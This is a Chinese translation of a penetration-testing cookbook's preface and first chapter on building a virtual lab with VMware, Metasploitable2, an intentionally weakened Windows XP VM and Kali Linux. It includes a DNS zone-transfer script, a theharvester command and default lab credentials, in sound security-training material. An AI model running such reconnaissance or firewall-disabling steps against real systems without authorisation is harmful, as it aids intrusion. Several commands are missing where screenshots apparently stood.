Kali-Linux-网络扫描秘籍第二版-一-

Kali Linux 网络扫描秘籍第二版（一）

原文：annas-archive.org/md5/6e700bfb16b40dda41c5c483fdf62025

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

无论好坏，我们现在生活在一个黑客行为已成常态的世界。它出现在我们的每日新闻、娱乐、政府、企业和家庭中。随着黑客行为的日益普遍，它也变得更加容易。许多攻击几乎不需要什么技术知识，因为即使是初学者也能找到并使用现成的脚本。对于技术娴熟的黑客来说，风险非常高，因为越来越多的系统可以被攻破，带来财务或政治上的利益。

在黑客行为已经变得如此简单，连孩子都能做的今天，组织必须通过使用与网络犯罪分子一样的工具对自己的网络进行测试，来验证自己的保护水平。然而，单纯了解这些工具的基本使用方法并不足以成为一名有效的信息安全专业人士。信息安全专业人士必须深入了解这些工具所采用的技术，以及这些技术为何能够利用网络或系统中的各种漏洞。了解这些常见攻击工具如何工作的基本原理，不仅能帮助有效使用它们，更重要的是，它还增强了有效识别这些攻击并进行防御的能力。

本书的目的是列举并解释在 Kali Linux 平台上常见的攻击工具的使用方法，但更重要的是，本书还旨在阐明这些工具为何有效的基本原理。除了讨论 Kali Linux 中集成的高功能工具外，我们还将编写大量 Python 和 Bash 脚本，来执行类似的功能和/或优化现有工具。

本书的最终目的是通过更好地理解对手，帮助培养更强大的安全专业人士。

本书涵盖内容

第一章，入门，介绍了如何配置安全实验室，接着是 Kali Linux 及其他安全工具的安装和配置。

第二章，侦察，介绍了如何使用被动信息收集技术收集目标信息，深入讲解了子域名、电子邮件地址和 DNS 枚举的收集方法。

第三章，发现，介绍了如何收集目标的域信息，并识别给定网络段上的主机。

第四章，端口扫描，介绍了用于查找一个或多个主机上开放端口的多种工具和方法。

第五章，指纹识别，解释了在识别目标上开放的端口后，如何识别与之相关的服务及其版本。

第六章，漏洞扫描，讨论了根据前一章节发现的服务和版本来识别漏洞的方法。

第七章，拒绝服务，介绍了执行多种 DoS 攻击的方法。

第八章，使用 Burp Suite，介绍了 Burp Suite 及其捆绑的许多工具的使用方法。

第九章，Web 应用程序扫描，涵盖了测试 Web 应用程序的多种工具和技术。

第十章，使用 BeEF 攻击浏览器，介绍了浏览器利用框架（BeEF），包括配置、挂钩浏览器和多种利用方式。

第十一章，使用 Sparta，讨论了如何配置和修改 Sparta。我们还介绍了如何充分利用此工具来收集和整理您的信息。

第十二章，自动化 Kali 工具，演示了自动化多个 Kali 工具以收集信息和利用目标。

本书所需条件

为了执行本书提供的示例，您将需要以下内容：

• Vmware Workstation Player 12（或更新版本）或 Vmware Fusion 8.5（或更新版本）。

• 对于需要 SSH 的 Windows 用户，PuTTY 6.9 适用。

• Nessus 5.2.6

• Kali Linux 2016.2

• Ubuntu 64 位 16.x

• Metasploitable2

• Windows XP SP2

本书适合对象

本书适合信息安全专业人士和安全爱好者。如果您是新手，本书提供基础原理；如果您更高级，还会介绍脚本编写技术和深入分析。无论您是全新接触 Kali Linux 还是经验丰富的老手，本书都将帮助您理解并最终掌握行业中最强大和有用的许多扫描技术。假设您具备一些基本的安全测试经验。

节

在本书中，您会经常看到几个标题（准备工作、如何操作、工作原理、更多内容和参见）。

为了清晰地说明如何完成配方，我们使用以下各节：

准备工作

本节告诉您在配方中可以期待什么，并描述了为配方设置任何软件或所需的任何初步设置的方法。

如何操作…

本节包含按照配方所需的步骤。

工作原理…

本节通常包括对上一节内容的详细解释。

更多内容…

本节包含有关配方的其他信息，以增强读者对配方的了解。

参见

本节提供了指向其他有用信息的链接，帮助您理解本书的内容。

规范

在本书中，您将看到多种文本样式，用于区分不同种类的信息。以下是这些样式的示例及其含义的解释。

文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 账号以如下方式显示：“使用 host 命令枚举 DNS。”

代码块的格式如下：

#!/bin/bash
 if [ ! $1 ]; then 
 echo "Usage: #./dns-find-transfer.sh <domain>"; 
 exit; 
 fi
 for server in $(host -t ns $1 |cut -d" " -f4);do
 printf $server | sed 's/.$//'
 host -l $1 $server |grep "Address: " | cut -d: -f2 |
 sed 's/...$//'
 done

任何命令行输入或输出将如下所示：

 theharvester -d google.com -l 500 -b google

新术语 和 重要词汇 会以粗体显示。屏幕上显示的词汇，例如在菜单或对话框中的内容，会以这种方式出现在文本中：“在此页面，向下滚动至 VMware Workstation Player 链接，并点击下载。”

警告或重要提示会以这样的框形式出现。提示和技巧会以这样的方式呈现。

读者反馈

我们始终欢迎读者的反馈。请告诉我们您对这本书的看法——喜欢或不喜欢的地方。读者反馈对我们至关重要，因为它帮助我们开发您真正能够从中获益的书籍。

要发送一般反馈，请直接通过电子邮件 feedback@packtpub.com 与我们联系，并在邮件主题中提及书名。

如果您在某个主题领域具有专长，并且有兴趣撰写或参与书籍的创作，请查看我们的作者指南，网址为 www.packtpub.com/authors。

客户支持

现在，您已经是一本 Packt 图书的骄傲拥有者，我们提供了许多帮助您充分利用购买的资源。

下载示例代码

您可以从您的账户下载本书的示例代码文件，网址为 www.packtpub.com。如果您在其他地方购买了本书，您可以访问 www.packtpub.com/support 并注册，将文件直接通过电子邮件发送给您。

您可以按照以下步骤下载代码文件：

1. 使用您的电子邮件地址和密码登录或注册我们的网站。

2. 将鼠标指针悬停在顶部的 SUPPORT 标签上。

3. 点击代码下载和勘误。

4. 在搜索框中输入书名。

5. 选择您希望下载代码文件的书籍。

6. 从下拉菜单中选择您购买本书的地方。

7. 点击代码下载。

您还可以通过点击 Packt 出版网站上书籍网页中的代码文件按钮来下载代码文件。您可以通过在搜索框中输入书名来访问此页面。请注意，您需要登录您的 Packt 账户。

文件下载完成后，请确保使用最新版本的工具解压或提取文件夹：

• 适用于 Windows 的 WinRAR / 7-Zip

• 适用于 Mac 的 Zipeg / iZip / UnRarX

• 适用于 Linux 的 7-Zip / PeaZip

本书的代码包也托管在 GitHub 上，地址为 github.com/PacktPublishing/Kali-Linux-Network-Scanning-Cookbook-Second-Edition。我们还在我们的丰富书籍和视频目录中提供其他代码包，您可以在 github.com/PacktPublishing/ 查看。快去看看吧！

下载本书的彩色图片

我们还为您提供了一个 PDF 文件，其中包含本书中使用的屏幕截图/图表的彩色图片。这些彩色图片将帮助您更好地理解输出中的变化。您可以从 www.packtpub.com/sites/default/files/downloads/KaliLinuxNetworkScanningCookbookSecondEdition_ColorImages.pdf 下载此文件。

勘误

尽管我们已经尽力确保内容的准确性，但错误仍然会发生。如果您在我们的书籍中发现错误——可能是文本或代码的错误——我们将非常感激您向我们报告。通过这样做，您可以帮助其他读者避免困扰，并帮助我们改进书籍的后续版本。如果您发现任何勘误，请访问 www.packtpub.com/submit-errata，选择您的书籍，点击“勘误提交表格”链接，并输入勘误的详细信息。一旦您的勘误被验证，您的提交将被接受，并且勘误将上传到我们的网站，或添加到该书标题下勘误部分的现有勘误列表中。

要查看之前提交的勘误，请访问 www.packtpub.com/books/content/support，并在搜索框中输入书名。所需的信息将显示在勘误部分下。

盗版

互联网盗版是一个跨媒体的持续问题。在 Packt，我们非常重视保护我们的版权和许可。如果您在互联网上遇到我们作品的非法副本，请立即向我们提供该副本的网址或网站名称，以便我们采取相应措施。

请通过 copyright@packtpub.com 与我们联系，并提供涉嫌盗版材料的链接。

我们感谢您帮助保护我们的作者和我们为您带来有价值内容的能力。

问题

如果您对本书的任何部分有问题，您可以通过 questions@packtpub.com 与我们联系，我们将尽力解决问题。

第一章：入门

本章将介绍以下内容：

• 使用 VMware Player 配置安全实验室（Windows）

• 使用 VMware Fusion 配置安全实验室（macOS）

• 安装 Ubuntu Server

• 安装 Metasploitable2

• 安装 Windows Server

• 增加 Windows 攻击面

• 安装 Kali Linux

• 使用文本编辑器（Vim 和 GNU nano）

• 保持 Kali 更新

• 管理 Kali 服务

• 配置和使用 SSH

• 在 Kali Linux 上安装 Nessus

介绍

本章介绍了设置和配置虚拟安全实验室的基础知识，虚拟安全实验室可以用来练习本书中大多数场景和练习。章节内容包括虚拟化软件的安装、虚拟环境中各种系统的安装，以及一些将用于练习的工具的配置。

使用 VMware Player 配置安全实验室（Windows）

通过在 Windows 工作站上安装 VMware Player，你可以在资源相对较少的 Windows PC 上运行虚拟安全实验室。你可以免费获得 VMware Player，或者以低价购买功能更强大的 VMware Player Plus。

准备工作

要在 Windows 系统上下载并安装 VMware Player，请按照以下步骤操作：

1. 要在 Windows 工作站上安装 VMware Player，你需要首先下载软件。你可以在 my.vmware.com/web/vmware/free 下载 VMware Workstation Player 的免费版本。

2. 在此页面上，向下滚动到 VMware Workstation Player 链接，然后点击下载。

3. 在打开的页面上，选择 Windows 64 位安装包，然后点击下载。

4. 也有适用于 Linux 64 位系统的安装包。

如何操作……

按照以下步骤设置虚拟环境：

1. 下载软件包后，你应该能够在默认的下载目录中找到它。双击该目录中的可执行文件开始安装过程。启动后，只需按照屏幕上的指示完成安装。

2. 安装完成后，你应该能够通过桌面图标、快速启动图标或从“所有程序”中启动 VMware Player。加载后，你将看到虚拟机库。此时库中尚未包含任何虚拟机，但它们将在你创建时显示在屏幕左侧，如下图所示：

1. 一旦你打开 VMware Workstation Player，你可以选择创建一个新的虚拟机来开始。这样会启动一个非常易于使用的虚拟机安装向导：

1. 安装向导中首先需要执行的任务是定义安装介质。您可以选择直接从主机的光驱安装，或者使用 ISO 镜像文件。此部分讨论的大多数安装将使用 ISO 文件，您可以在每个特定的操作步骤中找到获取这些 ISO 文件的途径。

2. 现在，我们假设我们浏览到一个现有的 ISO 文件并点击了“下一步”。VMware Workstation Player 将尝试确定您选择的 ISO 文件的操作系统。在某些情况下，它无法识别，并会询问您正在安装哪种操作系统。在本例中，我们将选择 Debian 8.x 并点击“下一步”：

1. 然后，您需要为虚拟机分配一个名称。虚拟机名称只是一个任意值，用作标签来标识并与库中的其他虚拟机区分开来。由于安全实验室通常按不同操作系统进行分类，因此在虚拟机名称中指明操作系统会很有用：

1. 下一屏幕要求输入安装的最大大小值。虚拟机只会按需占用硬盘空间，但不会超过此处指定的值。您应该了解操作系统的最小磁盘空间要求，并适当分配空间。此外，您还可以定义虚拟机是被包含在一个文件中，还是分散在多个文件中，如以下截图所示：

1. 完成磁盘容量指定后，您将看到如下界面：

1. 最后一步会提供配置摘要。您可以选择“完成”按钮以最终确定虚拟机的创建，或者选择“自定义硬件…”按钮以调整更高级的配置。请查看以下截图以了解高级配置：

1. 高级配置设置使您可以完全控制共享资源、虚拟硬件配置和网络设置。大多数默认配置应该足够用于您的安全实验室，但如果稍后需要进行更改，您可以通过访问虚拟机设置重新调整这些配置。当您完成高级配置设置后，您将看到类似以下的界面：

1. 安装向导完成后，您应该会在虚拟机库中看到新的虚拟机。在这里，您可以通过按下“播放虚拟机”按钮来启动它。通过打开多个 VMware Workstation Player 实例并在每个实例中运行一个唯一的虚拟机，可以同时运行多个虚拟机。

工作原理……

VMware 创建了一个虚拟化环境，在这个环境中，单一主机系统的资源可以共享，从而创建整个网络环境。像 VMware 这样的虚拟化软件使得搭建个人独立学习用的安全实验室变得更加简单且便宜。

在 VMware Fusion (macOS) 上配置安全实验室

你还可以通过在 Mac 上安装 VMware Fusion，轻松地运行虚拟安全实验室。VMware Fusion 需要购买许可证，但价格非常合理。

准备就绪

要在你的 Mac 上安装 VMware Player，首先需要下载软件。要下载免费试用版或购买软件，请访问www.vmware.com/products/fusion/。

如何操作…

以下步骤将帮助你在 macOS 上设置虚拟环境：

1. 一旦软件包下载完成，你应该能够在默认的下载目录中找到它。运行 .dmg 安装文件，并按照屏幕上的指示进行安装。

2. 安装完成后，你可以从 Dock 或 Finder 中的应用程序目录启动 VMware Fusion。启动后，你将看到虚拟机库窗口。此时，虚拟机库中还没有任何虚拟机，但随着你在屏幕左侧创建它们，它们会逐渐出现在库中。以下截图展示了虚拟机库窗口：

1. 要开始操作，请点击屏幕左上角的“添加”按钮，然后点击“新建”。这将启动虚拟机安装向导。安装向导是一个非常简单的引导过程，帮助你设置虚拟机，如下图所示：

1. 第一步要求你选择安装方式。VMware Fusion 提供了从光盘或映像（ISO 文件）安装的选项，并且提供多种技术来迁移现有系统到新的虚拟机。对于本节讨论的所有虚拟机，请选择第一个选项。

2. 在选择第一个选项“从光盘或映像安装”后，系统会提示你选择要使用的安装光盘或映像。如果没有自动填充内容，或者自动填充的选项不是你想要安装的映像，点击“使用其他光盘或光盘映像...”按钮。这将打开 Finder，允许你浏览并选择想要使用的映像。关于如何获取具体的系统映像文件，本章后续的配方会进行讨论。如果你看到一个带有“使用简易安装”选项的屏幕，只需取消选中“使用简易安装”选项并点击“继续”。

1. 最后，我们会看到完成窗口：

1. 在选择了你想使用的镜像文件后，点击继续按钮，你将进入总结页面。该页面会显示你所选择的配置概览。如果你希望更改这些设置，请点击自定义设置按钮；如果不需要更改，点击完成按钮来创建虚拟机。点击后，你将被要求保存与虚拟机关联的文件。你用来保存的名称将成为虚拟机的名称，并显示在你的虚拟机库中，如下图所示：

1. 随着你添加更多虚拟机，你会看到它们出现在屏幕左侧的虚拟机库中。选择特定虚拟机后，你可以通过点击顶部的启动按钮来启动它。此外，你还可以使用设置按钮来修改配置，或者使用快照按钮在不同时间点保存虚拟机。你可以通过独立启动每个虚拟机，实现同时运行多个虚拟机。

它是如何工作的…

在 macOS 操作系统中使用 VMware Fusion，你可以创建一个虚拟化实验环境，在 Apple 主机上构建整个网络环境。像 VMware 这样的虚拟化软件使得为个人独立学习建立安全实验室变得更加容易和便宜。

安装 Ubuntu Server

Ubuntu Server 是一个易于使用的 Linux 发行版，可用于托管网络服务和/或用于安全实验室测试的易受攻击软件。如果你更喜欢其他 Linux 发行版，也可以随意使用；然而，Ubuntu 是一个很好的选择，尤其适合初学者，因为有大量公开的参考资料和资源。

准备工作

在 VMware 中安装 Ubuntu Server 之前，你需要下载镜像光盘（ISO 文件）。这个文件可以从 Ubuntu 的官方网站 www.ubuntu.com/server 下载。为了本书的目的，我们将使用 Ubuntu 16.10。

如何操作…

现在虚拟机已经准备好，但首先，我们需要在虚拟机上安装 Ubuntu。请按照以下步骤在虚拟机上安装 Ubuntu：

1. 在镜像文件加载并从中启动虚拟机后，你将看到默认的 Ubuntu 菜单，如下图所示。该菜单包含多个安装和诊断选项，可以使用键盘进行导航。对于标准安装，请确保选中“安装 Ubuntu Server”选项，然后按Enter键：

1. 按下F6键并勾选以下选项：acpi=off、noapic 和 nolapic。完成后，点击安装 Ubuntu Server：

1. 当安装过程开始时，系统会要求你回答一系列问题以定义系统的配置。前两个选项要求你指定语言和居住国家。回答这些问题后，你将需要定义键盘布局配置，如下图所示：

1. 有多种选项可供选择来定义键盘布局。一个选项是检测模式，在此模式下，你需要按一系列键，Ubuntu 将自动检测你使用的键盘布局。你可以通过点击“是”来启用键盘检测。或者，你也可以通过点击“否”手动选择键盘布局。默认情况下，该过程会根据你的国家和语言默认选择最可能的选项。

2. 定义键盘布局后，系统会要求你为系统输入主机名。如果你将该系统加入到一个域中，确保主机名是唯一的。接下来，系统会要求输入新用户的全名和用户名。与用户的全名不同，用户名应由一串小写字母组成。用户名中也可以包含数字，但数字不能是第一个字符。请看以下截图：

1. 提供新账户的用户名后，你将被要求设置密码。确保密码是你能记住的，因为稍后你可能需要访问该系统以修改配置。请看以下截图：

1. 提供密码后，系统会要求你决定是否加密每个用户的主目录。虽然这提供了额外的安全性，但在实验环境中并非必需，因为系统中不会保存任何实际的敏感数据。接下来，你将被要求配置系统时钟，如下图所示：

1. 尽管你的系统使用的是内部 IP 地址，它会尝试确定公用 IP 地址，并通过该地址推测适当的时区。如果 Ubuntu 提供的时区猜测正确，选择“是”；如果不正确，选择“否”以手动选择时区。选择时区后，你将被要求定义磁盘分区配置，如下图所示：

1. 如果没有特别的理由选择其他选项，建议选择默认选项。在安全实验室中，你通常不需要进行手动分区，因为每台虚拟机通常只会使用一个单独的分区。选择分区方式后，你将被要求选择磁盘。除非你为虚拟机添加了额外的磁盘，否则这里应该只会看到以下选项：

1. 选择磁盘后，你将被要求审查配置。验证所有内容无误后，确认安装。接下来，你会被问到要为引导分区选择的卷组大小。这应该是你为磁盘指定的全部大小，如下截图所示：

1. 在安装过程之前，你会被要求配置 HTTP 代理。对于本书的目的，单独的代理并不必要，你可以将此字段留空：

1. 接下来，你会被问到如何管理系统的升级。请选择“不自动更新”选项：

1. 最后，你会被询问是否要在操作系统上安装任何软件，如下截图所示：

1. 要选择任何给定的软件，请使用空格键。为了增加攻击面，我已经包括了多个服务，只有虚拟主机和额外的手动软件包选择被排除。选定所需的软件包后，按Enter键完成该过程。系统会问你一些关于你选择安装的软件的问题。只需按照提示操作，对于大多数情况，默认选项即可：

1. 软件安装完成后，系统会问你是否希望将 GRUB 引导加载程序安装到硬盘上。选择“是”，然后你的安装过程就完成了。

工作原理…

Ubuntu Server 没有图形用户界面，只能通过命令行操作。为了有效使用它，

我建议你使用 SSH。要配置和使用 SSH，请参考配置和

稍后在本章中使用 SSH的配方。

安装 Metasploitable2

Metasploitable2是一个故意存在漏洞的 Linux 发行版，也是一个非常有效的安全训练工具。它包含大量易受攻击的网络服务，并且还包括几个易受攻击的 Web 应用程序。

准备就绪

在你的虚拟安全实验室安装 Metasploitable2 之前，你需要从网上下载它。有许多镜像站和种子文件可以选择。获取 Metasploitable2 的一个相对简单的方法是通过 SourceForge 从以下网址下载：sourceforge.net/projects/metasploitable/files/Metasploitable2/。

如何操作…

安装 Metasploitable2 可能是你在安全实验室中进行的最简单的安装之一。因为它在从 SourceForge 下载后已经准备好作为 VMware 虚拟机。

1. 一旦 ZIP 文件下载完成，你可以通过在资源管理器或 Finder 中双击它，轻松地在 Windows 或 macOS 上解压其内容。请看以下截图：

1. 解压缩后，ZIP 文件会返回一个包含五个附加文件的目录。目录中包括 VMware 的 VMX 文件。要在 VMware 中使用 Metasploitable2，只需点击文件下拉菜单中的“打开”，然后浏览到通过 ZIP 解压缩过程创建的目录，打开Metasploitable.vmx，如以下截图所示：

1. 打开 VMX 文件后，它应该会出现在你的虚拟机库中。从库中选择它，点击“运行”以启动虚拟机并显示以下屏幕：

1. 当虚拟机加载完成后，启动画面将出现，并请求登录凭据。默认凭据是msfadmin，用户名和密码均为该值。此机器也可以通过 SSH 访问，稍后在配置和使用 SSH的章节中会介绍。

它是如何工作的……

Metasploitable 是为了安全测试教育而构建的。它是一个非常有效的工具，但必须小心处理。Metasploitable 系统绝不应暴露于任何不可信的网络中。它绝不应分配公开可路由的 IP 地址，也不应使用端口转发将服务通过网络地址转换（NAT）接口暴露。

安装 Windows Server

在测试实验室中拥有一个 Windows 操作系统对学习安全技能至关重要，因为它是生产系统中使用最广泛的操作系统环境。在提供的场景中，使用的是 Windows XP Service Pack 2（SP2）。由于 Windows XP 是一个较旧的操作系统，因此在测试环境中可以利用其许多缺陷和漏洞。

准备工作

要完成本食谱中讨论的任务以及本书后续的一些练习，你需要获得一个 Windows 操作系统的副本。如果可能，应该使用 Windows XP SP2，因为这是在编写本书时使用的操作系统。选择此操作系统的原因之一是它不再得到 Microsoft 的支持，并且可以相对轻松且几乎无成本地获取。然而，由于它不再得到支持，你需要从第三方供应商处购买或通过其他方式获取它。获取此产品的方式由你决定。

如何操作……

让我们在虚拟机上安装 Windows XP：

1. 从 Windows XP 镜像文件启动后，会加载一个蓝色的菜单界面，询问一系列问题，引导你完成安装过程。最初，你需要定义操作系统将要安装到的分区。除非你对虚拟机进行了自定义更改，否则这里应该只有一个选项。然后，你可以选择快速格式化或全盘格式化。无论哪种选择，都足以满足虚拟机的需求。

2. 在回答完这些初步问题后，你将收到一系列有关操作系统配置的问题。然后，你将被引导到以下屏幕：

1. 首先，系统会要求你提供名称和组织名称。名称会分配给创建的初始账户，而组织名称仅用于元数据目的，对操作系统的性能没有影响。

2. 接下来，系统会要求你提供计算机名称和管理员密码，如下图所示：

1. 如果你将系统加入到域中，建议使用一个独特的计算机名称。管理员密码应该是你能记住的，因为你需要登录到这个系统以进行测试或配置更改。然后，系统会要求你设置日期、时间和时区。通常这些会自动填写，但请确保它们是正确的，因为错误的日期和时间配置可能会影响系统性能。请查看以下截图：

1. 配置时间和日期后，系统会要求你将计算机加入工作组或域。书中讨论的大多数练习都可以使用这两种配置之一来执行。然而，有一些远程 SMB 审计任务需要系统加入域。以下截图展示了“帮助保护你的电脑”窗口：

1. 安装过程完成后，系统会提示你通过自动更新来帮助保护你的电脑。默认选项是启用自动更新。然而，由于我们希望增加可供测试的机会，因此我们将选择“稍后再说”选项。

工作原理…

Windows XP SP2 是任何初学者安全实验室的绝佳补充。由于它是一个较旧的操作系统，因此存在大量可以测试和利用的漏洞。然而，随着你在渗透测试技术方面的熟练度提升，重要的是要通过引入更新、更安全的操作系统（如 Windows 7）来进一步提升你的技能。

增加 Windows 攻击面

为了进一步增加 Windows 操作系统的攻击面，重要的是要添加易受攻击的软件，并启用或禁用某些集成功能。

准备工作

在修改 Windows 配置以增加攻击面之前，你需要将操作系统安装到你的虚拟机之一。如果尚未完成此操作，请参阅前面的步骤。

操作方法…

现在，按照以下步骤使 Windows XP 更加脆弱：

1. 启用远程服务，尤其是未修补的远程服务，通常是向系统引入漏洞的有效方法。首先，您需要在 Windows 系统上启用简单网络管理协议（SNMP）。为此，请打开左下角的“开始”菜单，然后点击“控制面板”。双击“添加或删除程序”图标，再点击屏幕左侧的“添加/删除 Windows 组件”链接，您将看到如下屏幕：

1. 在这里，您将看到一个可以在操作系统上启用或禁用的组件列表。向下滚动到“管理和监控工具”并双击打开其中的选项，如下图所示：

1. 打开后，确保“简单网络管理协议”和“WMI SNMP 提供程序”两个复选框已勾选。这样将允许对系统执行远程 SNMP 查询。点击“确定”后，这些服务的安装将开始。此安装将需要 Windows XP 的镜像光盘，VMware 可能在虚拟机镜像创建后删除了该光盘。如果是这种情况，您将看到一个弹出窗口要求您插入光盘，如下图所示：

1. 要使用光盘镜像，请访问虚拟机设置。确保启用了虚拟光驱，然后浏览主机文件系统中的 ISO 文件以添加光盘：

1. 一旦检测到光盘，SNMP 服务的安装将自动完成。Windows 组件向导窗口应在安装完成时通知您。除了添加服务外，您还应该删除一些操作系统中默认包含的服务。为此，请再次打开控制面板并双击“安全中心”图标。向下滚动页面，点击“Windows 防火墙”链接，并确保该功能已关闭，如下图所示：

1. 关闭 Windows 防火墙功能后，点击“确定”返回上一级菜单。再次向下滚动，点击“自动更新”链接，确保它也已关闭。

它是如何工作的…

在操作系统上启用功能服务和禁用安全服务会大大增加被攻破的风险。通过增加操作系统中存在的漏洞数量，我们也增加了学习攻击模式和利用机会的数量。本特定步骤仅涉及通过操作 Windows 集成功能来增加攻击面。但它也可以通过安装各种已知存在漏洞的第三方软件包来达到同样效果。

易受攻击的软件包可以在以下网址找到：

www.exploit-db.com/

www.oldversion.com/

安装 Kali Linux

Kali Linux 被誉为最优秀的黑客发行版之一，提供了完整的渗透测试工具集。开发人员最近发布了 Kali Linux 2016.2，巩固了他们将其打造为滚动发行版的努力。与 GNOME 一起发布的还有其他桌面环境，如 e17、LXDE、Xfce、MATE 和 KDE。在未来的每周更新中，Kali Linux 将持续更新最新的改进和工具。本书中将使用 Kali Linux 2016.2 与 GNOME 作为开发环境，来讨论本书中涉及的许多扫描脚本。

准备中

在您的虚拟安全测试实验室安装 Kali Linux 之前，您需要获取

从可信的来源下载 ISO 文件（镜像文件）。Kali Linux ISO 文件可以在 www.kali.org/downloads/ 下载。

如何操作…

这些步骤将指导您在虚拟机上安装 Kali Linux：

1. 选择 Kali Linux ISO 文件后，系统会询问您正在安装的操作系统。目前，Kali Linux 基于 Debian 8.x 构建。选择此选项并点击继续：

1. 您将看到一个完成屏幕，但我们先来定制设置。Kali Linux 至少需要 15 GB 的硬盘空间和最低 512 MB 的内存：

1. 从 Kali Linux 镜像文件启动后，您将看到初始启动菜单。此时，向下滚动到第六个选项“Install”，按下 Enter 键以开始安装过程：

1. 启动后，您将通过一系列问题来完成安装过程。首先，您将被要求提供您的位置（国家）和语言。然后，您可以选择手动设置键盘配置或使用自动检测过程。

2. 下一步将要求您为系统提供主机名。如果系统将加入域，请确保主机名是唯一的，如下图所示：

1. 接下来，您需要为 root 账户设置密码。建议设置一个复杂的密码，以防止轻易被破解。请看下面的截图：

1. 接下来，系统会询问您所在的时区。系统会使用 IP 地理定位来猜测您的位置。如果猜测不正确，请手动选择正确的时区：

1. 对于磁盘分区的设置，使用默认方法和分区方案应该足够满足实验室需求：

1. 建议使用镜像源来确保您的 Kali Linux 软件保持最新：

1. 接下来，你将被要求提供一个 HTTP 代理地址。本书中的任何练习都不需要外部 HTTP 代理，因此可以留空：

1. 最后，选择“Yes”安装 GRUB 启动加载器，然后按Enter键完成安装过程。当系统加载时，你可以使用安装过程中提供的 root 账户和密码登录：

它是如何工作的……

Kali Linux 是一个 Debian Linux 发行版，预装了大量第三方渗透测试工具。虽然所有这些工具都可以独立获取和安装，但 Kali Linux 所提供的组织和实现方式使其成为任何严肃渗透测试人员的有用工具。

使用文本编辑器（Vim 和 GNU nano）

文本编辑器将被频繁使用来创建或修改文件系统中的现有文件。每当你想在 Kali 中创建自定义脚本时，都应使用文本编辑器。每当你想修改配置文件或现有的渗透测试工具时，也应使用文本编辑器。

准备工作

在 Kali Linux 中使用文本编辑器工具之前，不需要进行额外的步骤。Vim 和 GNU nano 是集成工具，已经预装在操作系统中。

如何操作……

使用 Linux 编辑器：

1. 要在 Kali 中使用 Vim 文本编辑器创建文件，请使用vim命令，后跟要创建或修改的文件名：

在提供的示例中，使用vim命令创建一个名为vim_demo.txt的文件。由于当前目录中没有该文件，Vim 会自动创建一个新文件并打开一个空白文本编辑器。

1. 要开始在编辑器中输入文本，请按I键或Insert按钮。然后，开始输入所需的文本，如下所示：

在提供的示例中，仅添加了一行文本。然而，在大多数情况下，当创建新文件时，你可能会使用多行文本。

1. 完成后，按下Esc键退出插入模式并进入 Vim 的命令模式。然后，输入:wq并按Enter键保存。接着，你可以使用以下 bash 命令来验证文件是否存在并检查其内容：

可以使用ls命令查看当前目录的内容。在这里，你可以看到vim_demo.txt文件已被创建。可以使用cat命令来读取和显示文件的内容。

1. 另一种可用的文本编辑器是 GNU nano。GNU nano 的基本用法与 Vim 非常相似。要开始使用，请使用nano命令，后跟要创建或修改的文件名：

在提供的示例中，使用nano命令打开一个名为nano_demo.txt的文件。由于当前没有该名称的文件，因此会创建一个新文件。

1. 与 Vim 不同，这里没有独立的命令模式和写入模式。相反，文件写入是自动完成的，命令通过按下Ctrl键并结合特定字母键来执行。你可以随时在文本编辑器界面的底部看到这些命令的列表：

在示例中，向nano_demo.txt文件写入了一行内容。要关闭编辑器，可以使用Ctrl + X。然后系统会提示你是否保存文件，按y保存或按n不保存。系统还会询问你确认写入的文件名。默认情况下，文件名会填充为执行nano命令时所提供的名称。不过，你可以修改该值，并将文件内容保存到不同的文件名中，如下所示：

1. 完成后，可以再次使用ls和cat命令来验证文件是否已写入目录，并分别验证文件的内容。

本教程的目的是讨论如何使用这两款编辑器编写和操作文件。然而，值得注意的是，这两款文本编辑器都非常强大，拥有大量其他文件编辑功能。欲了解更多关于这两款编辑器的使用信息，请使用man命令后接特定文本编辑器的名称，查看其手册。

它是如何工作的……

文本编辑器不过是命令行驱动的文字处理工具。每一个工具及其相关功能都可以在没有图形界面的情况下执行。由于缺乏图形组件，这些工具所需的资源非常少，运行速度极快。因此，它们非常适合快速修改文件或通过远程终端接口（如 SSH 或 Telnet）进行处理。

保持 Kali 更新

现在我们已经安装了 Kali Linux，接下来我们需要保持其更新，确保工具、补丁和改进始终是最新的。

准备工作

在修改 Kali Linux 配置之前，你需要在虚拟机上安装操作系统。如果你还没有完成这一步，请参考安装 Kali Linux这篇教程。

如何操作……

Kali Linux 在安装后应该已经准备好并配置完成，但我们还是需要进行检查。Kali 使用名为apt-get的软件包管理器。

1. 我们要做的第一件事是检查apt-get用于查找更新的源。进入/etc/apt/目录，你应该能看到一个名为sources.list的文件。如果该文件不存在，也没关系；我们将会创建它。

2. 在终端运行以下命令。如果文件存在，它会被打开；如果不存在，则会创建该文件：

1. 现在，如果以下资源尚未添加到文件中，我们需要将它们添加进去。确保不要添加任何额外的资源，以免破坏你的 Kali 安装：

 deb http://http.kali.org/kali kali-rolling main non-free contrib

1. 你的文件应该如下所示：

1. 一旦文件与我们之前所述的匹配，保存并关闭它。现在我们将运行一些命令。这些命令应该定期运行，以保持系统更新。apt-get upgrade 和 apt-get dist-upgrade 命令后面加上的 -y 标志表示在提示时默认选择 yes：

1. 命令执行可能需要一段时间，所以你可以在等待时去喝杯咖啡。重启 Kali Linux，过程就完成了。你将需要定期运行之前的命令，以保持系统最新。

工作原理……

使用 Kali Linux 的滚动更新可以让你获取应用程序和测试工具的最新软件包版本，而不需要等待操作系统下一个静态版本的发布。Kali Linux 默认预装了 apt-get，这是与 Ubuntu 相同的软件包管理工具，也是 Kali Linux 用来保持系统更新的工具。

管理 Kali 服务

在 Kali Linux 中，某些服务自动启动会非常有用。例如，假设我希望能够通过 SSH 连接到我的 Kali Linux 发行版（在 配置和使用 SSH 这一节中有讲解）。默认情况下，Kali 中的 SSH 服务器不会自动启动，因此我需要登录虚拟机，打开终端，运行命令以启动该服务。

准备工作

在修改 Kali Linux 配置之前，你需要已经在虚拟机上安装了操作系统。如果你还没有做这一步，请参考 安装 Kali Linux 这一节。

如何操作……

使用 Kali Linux：

1. 我们首先登录到 Kali Linux 发行版并打开一个终端窗口。输入以下命令：

1. 很可能它已经安装，你会看到类似下面的信息：

1. 既然我们知道它已安装，让我们查看服务是否正在运行。从终端中输入以下命令：

1. 如果 SSH 服务器未运行，你会看到类似以下内容：

1. 按 Ctrl + C 返回提示符。现在让我们启动服务并通过输入以下命令再次检查状态：

1. 你现在应该会看到类似下面的内容：

